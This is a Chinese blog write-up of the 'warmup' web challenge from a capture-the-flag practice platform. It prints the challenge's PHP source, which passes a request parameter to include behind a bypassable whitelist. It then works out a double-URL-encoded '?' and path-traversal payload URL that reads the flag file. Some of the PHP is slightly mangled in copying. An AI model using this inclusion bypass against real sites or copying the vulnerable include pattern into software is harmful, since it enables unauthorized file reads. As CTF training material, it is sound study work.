shacker_shen

导航

防世界之Web_warmup

题目:

 

 

 啥都没有,右键打开页面源代码查看一下

 

 

 发现source.php源文件,输入http://111.200.241.244:53776/source.php看看

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page$whitelist)) {
                return true;
            }

            $_page mb_substr(
                $page,
                0,
                mb_strpos($page '?''?')
            );
            if (in_array($_page$whitelist)) {
                return true;
            }

            $_page urldecode($page);
            $_page mb_substr(
                $_page,
                0,
                mb_strpos($_page '?''?')
            );
            if (in_array($_page$whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

===============================================================================================

显然,需要代码审计一下。首先定义了一个类,类中有一个检查文件的方法,里面有个白名单判断页面是否是source.php或hint.php

source.php是源码,看看hint.php有什么

 

发现flag不在这,在ffffllllaaaagggg文件里

继续看php源代码一个条件判断语句,如果传一个参数file不是空的并且是的字符串,检查传入的参数是否在白名单里输入如下

http://111.200.241.244:53776/?file=source.php?fffflllllaaaagggg一级一级的试注意因为mb_substr截取的是两个?之间的page还经过url解密,所以?需要url加密两次

?url加密两次就是

 

 

 http://111.200.241.244:53776/?file=source.php%25%33%66ffffllllaaaagggg一级一次网上试%25%33%66

最后结果为:

 

http://111.200.241.244:53776/?file=source.php%25%33%66../../../../../ffffllllaaaagggg

 

 

 ================================================

总结:

审计代码

 

 

 

 

 

 

 

http://111.200.241.244:53776/?file=source.php?fffflllllaaaagggg

posted on 2022-02-23 00:29  shacker_shen  阅读(82)  评论(0编辑  收藏  举报